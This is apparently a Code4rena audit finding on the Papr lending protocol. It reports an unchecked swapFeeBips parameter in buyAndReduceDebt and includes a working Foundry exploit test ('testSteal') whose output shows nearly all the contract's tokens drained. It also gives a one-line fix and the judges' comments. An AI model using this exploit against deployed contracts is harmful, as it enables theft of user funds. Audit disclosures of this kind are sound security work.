Platform: Code4rena
Start Date: 16/12/2022
Pot Size: $60,500 USDC
Total HM: 12
Participants: 58
Period: 5 days
Judge: Trust
Total Solo HM: 4
Id: 196
League: ETH
Rank: 58/58
Findings: 1
Award: $16.70
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Jeiwan
Also found by: 0x52, Franfran, HollaDieWaldfee, KingNFT, Saintcode_, bin2chen, evan, fs0c, noot, poirots, rvierdiiev, stealthyz, teawaterwire, unforgiven
16.6999 USDC - $16.70
The bug exists in the buyAndReduceDebt
function.
function buyAndReduceDebt(address account, ERC721 collateralAsset, IPaprController.SwapParams calldata params) external override returns (uint256) { bool hasFee = params.swapFeeBips != 0; (uint256 amountOut, uint256 amountIn) = UniswapHelpers.swap( pool, account, token0IsUnderlying, params.amount, params.minOut, params.sqrtPriceLimitX96, abi.encode(msg.sender) ); if (hasFee) { underlying.transfer(params.swapFeeTo, amountIn * params.swapFeeBips / BIPS_ONE); } _reduceDebt({account: account, asset: collateralAsset, burnFrom: msg.sender, amount: amountOut}); return amountOut; }
The expected value params.swapFeeBips
should be ≤ BIPS_ONE
.
Here the params.swapFeeBips
value is not checked to be less than or equal to BIPS_ONE
. An attacker can set the value of params.swapFeeBips
to be very high and params.swapFeeTo
to be their own address. It is possible to set these values such that the attacker transfers nearly all the underlying tokens to themselves in a transaction.
A quick POC in foundry :
BuyAndReduceDebt.t.sol
to the code below.forge test --match-contract BuyAndReduceDebt -vvv
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.17; import {TickMath} from "fullrange/libraries/TickMath.sol"; import {BasePaprControllerTest} from "./BasePaprController.ft.sol"; import {IPaprController} from "../../src/interfaces/IPaprController.sol"; import {PaprController} from "../../src/PaprController.sol"; import {UniswapHelpers} from "../../src/libraries/UniswapHelpers.sol"; import "../../src/ReservoirOracleUnderwriter.sol"; contract BuyAndReduceDebt is BasePaprControllerTest { function testSteal() public { //assume that any point in time the balance of controller is 4000e18 underlying tokens. underlying.mint(address(controller), 4000e18 ); vm.startPrank(borrower); nft.approve(address(controller), collateralId); IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1); c[0] = collateral; controller.addCollateral(c); IPaprController.SwapParams memory swapParams = IPaprController.SwapParams({ amount: debt, minOut: 982507, sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: true}), swapFeeTo: address(0), swapFeeBips: 0 }); uint256 underlyingOut = controller.increaseDebtAndSell(borrower, collateral.addr, swapParams, oracleInfo); underlying.approve(address(controller), underlyingOut); uint160 priceLimit = _maxSqrtPriceLimit({sellingPAPR: false}); uint256 out = quoter.quoteExactInputSingle({ tokenIn: address(underlying), tokenOut: address(controller.papr()), fee: 10000, amountIn: underlyingOut, sqrtPriceLimitX96: priceLimit }); swapParams = IPaprController.SwapParams({ amount: underlyingOut, minOut: out - 1000, sqrtPriceLimitX96: priceLimit, swapFeeTo: address(borrower), swapFeeBips: 40e18 }); controller.buyAndReduceDebt(borrower, collateral.addr, swapParams); uint256 max_debt = controller.maxDebt(controller.underwritePriceForCollateral(nft, ReservoirOracleUnderwriter.PriceKind.LOWER, oracleInfo)); emit log_named_decimal_uint("Max borrow power of borrower/attacker",max_debt,18); emit log_named_decimal_uint( "Underlying balance of borrower/attacker" , underlying.balanceOf(borrower), 18); emit log_named_decimal_uint( "PAPR balance of borrower/attacker" , controller.papr().balanceOf(borrower), 18); } }
Output:
[PASS] testSteal() (gas: 521323) Logs: Max borrow power of borrower/attacker: 1.500000000000000000 Underlying balance of borrower/attacker: 3930.028000000000000000 PAPR balance of borrower/attacker: 0.000000000000000000 Test result: ok. 1 passed; 0 failed; finished in 1.74s
The attacker was able to steal almost all the underlying tokens from the contract.
Add a check in buyAndReduceDebt
function:
require(params.swapFeeBips <= BIPS_ONE);
#0 - c4-judge
2022-12-25T15:02:27Z
trust1995 marked the issue as duplicate of #20
#1 - c4-judge
2022-12-25T15:02:33Z
trust1995 marked the issue as partial-50
#2 - trust1995
2022-12-25T15:02:52Z
50% for not identifying there should not be underlying value in the contract.
#3 - c4-judge
2022-12-25T17:29:24Z
trust1995 changed the severity to 2 (Med Risk)
#4 - C4-Staff
2023-01-10T22:32:21Z
JeeberC4 marked the issue as duplicate of #196